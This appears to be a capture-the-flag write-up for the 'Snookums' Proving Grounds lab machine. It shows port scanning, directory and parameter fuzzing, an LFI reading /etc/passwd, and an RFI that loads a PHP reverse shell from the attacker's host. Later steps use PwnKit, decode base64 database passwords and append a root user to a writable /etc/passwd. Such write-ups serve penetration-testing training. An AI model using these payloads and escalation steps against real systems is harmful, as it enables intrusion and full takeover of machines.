Nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.178
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA)
| 256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA)
|_ 256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Simple PHP Photo Gallery
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open mysql MySQL (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X|5.X (97%), MikroTik RouterOS 7.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (91%), Linux 3.8 - 3.16 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 5.14 - 6.8 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: SNOOKUMS; OS: Unix
Enumeration
Gobuster reveals:
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ gobuster dir -u http://192.168.118.58 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -x txt,php,aspx
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.118.58
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: txt,php,aspx
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 237] [--> http://192.168.118.58/images/]
index.php (Status: 200) [Size: 2730]
image.php (Status: 200) [Size: 1508]
photos (Status: 301) [Size: 237] [--> http://192.168.118.58/photos/]
css (Status: 301) [Size: 234] [--> http://192.168.118.58/css/]
license.txt (Status: 200) [Size: 18511]
db.php (Status: 200) [Size: 0]
README.txt (Status: 200) [Size: 4041]
js (Status: 301) [Size: 233] [--> http://192.168.118.58/js/]
image.php is of note. I decided to fuzz for URL parameters with ffuf
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.118.58/image.php?FUZZ=test -fs 1508
Found one valid parameter img
Testing for LFI
http://192.168.118.58/image.php?img=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:998:996::/var/lib/chrony:/sbin/nologin michael:x:1000:1000:Michael:/home/michael:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
Simple PHP Photo Gallery v0.8
Exploitation
We can use a php reverse shell and use RFI to trigger it.
NOTE: had to host the file on port 80 because there are apparently outbound firewall rules that block the default port 8000.
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.118.58 - - [11/Aug/2026 18:16:51] "GET /php-reverse-shell.php HTTP/1.0" 200 -
http://192.168.118.58/image.php?img=http://192.168.45.178/php-reverse-shell.php
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ sudo nc -nlvp 21
listening on [any] 21 ...
connect to [192.168.45.178] from (UNKNOWN) [192.168.118.58] 49372
Linux snookums 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:16:52 up 1:45, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
I ran linpeas and found that the target is vulnerable to PwnKit (CVE-2021-4034).
This is not how the lab is meant to be done but it does work.
Just ran PwnKit and got root.
Grabbed local.txt and proof.txt from /home/michael and /root respectively
What we were supposed to to is find MySQL creds in the /var/www/html dir
It is in a file called db.php
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
These are the root creds for the database
[root@snookums html]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 27
mysql> show databases
-> ;
+--------------------+
| Database |
+--------------------+
| SimplePHPGal |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use SimplePHPGal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show TABLES;
+------------------------+
| Tables_in_SimplePHPGal |
+------------------------+
| users |
+------------------------+
1 row in set (0.00 sec)
mysql> select * FROM users;
+----------+----------------------------------------------+
| username | password |
+----------+----------------------------------------------+
| josh | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |
| michael | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== |
| serena | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== |
+----------+----------------------------------------------+
3 rows in set (0.00 sec)
We found a michael user with a home dir when enumerating the box, so lets try to decode his password
They are double encoded:
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ echo 'U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==' | base64 -d
SG9ja1N5ZG5leUNlcnRpZnkxMjM=
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ echo 'SG9ja1N5ZG5leUNlcnRpZnkxMjM=' | base64 -d
HockSydneyCertify123
Now we can ssh into Michael:
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ ssh michael@192.168.118.58
The authenticity of host '192.168.118.58 (192.168.118.58)' can't be established.
ED25519 key fingerprint is: SHA256:rouy0/8CKEfhPY0eheyBSXy00UrbHzUFfNIMlNdCNfI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.118.58' (ED25519) to the list of known hosts.
michael@192.168.118.58's password:
[michael@snookums ~]$
Michael cannot run sudo
We can run linpeas again and wee discover that /etc/passwd is writeable
┌──(kali㉿kali)-[~/ProvingGrounds/Snookums]
└─$ openssl passwd -1 -salt password password
$1$password$Da2mWXlxe6J7jtww12SNG/
[michael@snookums tmp]$ echo 'owned:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:owned:/root:/bin/bash' >> /etc/passwd
[michael@snookums tmp]$ su owned
Password:
[root@snookums tmp]# cat /root/proof.txt
fedec4fea60a1dd59c5eebdf954ad4a7
Anyway…